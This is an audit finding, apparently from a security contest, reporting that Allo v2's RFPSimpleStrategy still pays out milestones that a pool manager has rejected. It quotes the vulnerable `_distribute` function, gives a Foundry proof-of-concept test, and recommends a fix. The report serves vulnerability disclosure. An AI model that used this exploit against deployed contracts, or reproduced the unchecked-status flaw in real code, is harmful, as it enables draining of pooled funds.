Great Grape Jay

high

# RFPSimpleStrategy

In [`RFPSimpleStrategy.sol`](), rejected milestones continue to result in payouts even if they have been rejected. This issue occurs because a `Milestone`'s `milestoneStatus` is only ever assigned to, but never actually read back again in the process of validating a payout.

## Vulnerability Detail

The `PoolManager` role is expected to evaluate submitted milestones and determine which (and their corresponding payouts) are accepted on the roadmap. This activity necessitates the ability for `PoolManager`s to reject a milestone - for instances where a proposed milestone is undesirable or even malicious. For example, a milestone could request to command an egregious payout which seeks to drain the entire pool of funds upon acceptance. 

When rejecting a milestone, however, the rejected milestone [still persists inside the array of `milestones`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L287) submitted by the `acceptedRecipientId`. It is never deleted. During distribution, milestones are processed consecutively and cannot be modified after the first milestone has been committed to - this allows the rejected milestone to continue to be considered as a payable checkpoint during distribution.

The resulting impact is when a milestone has been rejected, it will continue to be processed and generate payouts in order to satisfy the iteration logic and continue progression onto the accepted milestones. To add insult to injury, the rejected milestone's `milestoneStatus` is then [erroneously overwritten to `Accepted` via a side-effect](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L442).

## Impact

Any milestone submitted by an `acceptedRecipientId` will be redeemed, even if they have been rejected by a `PoolManager`.

## Code Snippet

The unaltered vulnerable flow is provided below. Remember here, that `milestones[upcomingMilestone]` may have been successfully rejected by the `PoolManager` in a previous transaction:

```solidity
    /// @notice Distribute the upcoming milestone to acceptedRecipientId.
    /// @dev '_sender' must be a pool manager to distribute.
    /// @param _sender The sender of the distribution
    function _distribute(address[] memory, bytes memory, address _sender)
        internal
        virtual
        override
        onlyInactivePool
        onlyPoolManager(_sender)
    {
        // check to make sure there is a pending milestone
        if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();

        IAllo.Pool memory pool = allo.getPool(poolId);
        Milestone storage milestone = milestones[upcomingMilestone];
        Recipient memory recipient = _recipients[acceptedRecipientId];

        // make sure has enough funds to distribute based on the proposal bid
        if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();

        // Calculate the amount to be distributed for the milestone
        uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;

        // Get the pool, subtract the amount and transfer to the recipient
        poolAmount -= amount;
        _transferAmount(pool.token, recipient.recipientAddress, amount);

        // Set the milestone status to 'Accepted'
        milestone.milestoneStatus = Status.Accepted;

        // Increment the upcoming milestone
        upcomingMilestone++;

        // Emit events for the milestone and the distribution
        emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);
        emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);
    }
```

Below, we provide an executable proof of concept of this flaw.

This is a combination of [`_register_allocate_submit_distribute`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/test/foundry/strategies/RFPSimpleStrategy.t.sol#L530) functionality and [`test_getPayouts`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/test/foundry/strategies/RFPSimpleStrategy.t.sol#L141), which together demonstrate successful a payout. In our malicious test, `test_exploit_getPayouts`, we see that even though the milestone has been successfully rejected, the test passes successfully - indicating that it has resulted in a bounty:

```solidity
    function test_exploit_getPayouts() public {
        // begin _register_allocate_submit_distribute
        address recipientId = __register_setMilestones_allocate_submitUpcomingMilestone();
        vm.deal(pool_admin(), 1e19);

        vm.prank(pool_admin());
        allo().fundPool{value: 1e19}(poolId, 1e19);
        // end _register_allocate_submit_distribute

        // begin reject
        vm.prank(pool_admin());
        strategy.rejectMilestone(0);
        RFPSimpleStrategy.Milestone memory milestone = strategy.getMilestone(0);
        assertEq(uint8(milestone.milestoneStatus), uint8(IStrategy.Status.Rejected));
        // end reject

        // begin test_getPayouts
        vm.prank(address(allo()));
        strategy.distribute(new address[](0), "", pool_admin());

        IStrategy.PayoutSummary[] memory payouts = strategy.getPayouts(new address[](0), new bytes[](0));
        assertEq(payouts[0].amount, 1e18);
        assertEq(payouts[0].recipientAddress, recipientAddress());
        // end test_getPayouts
    }
```

## Tool used

Manual Review

## Recommendation

When distributing funds, first validate the `milestoneStatus`. If it is `Rejected`, continue iterating to the next valid milestone in the sequence.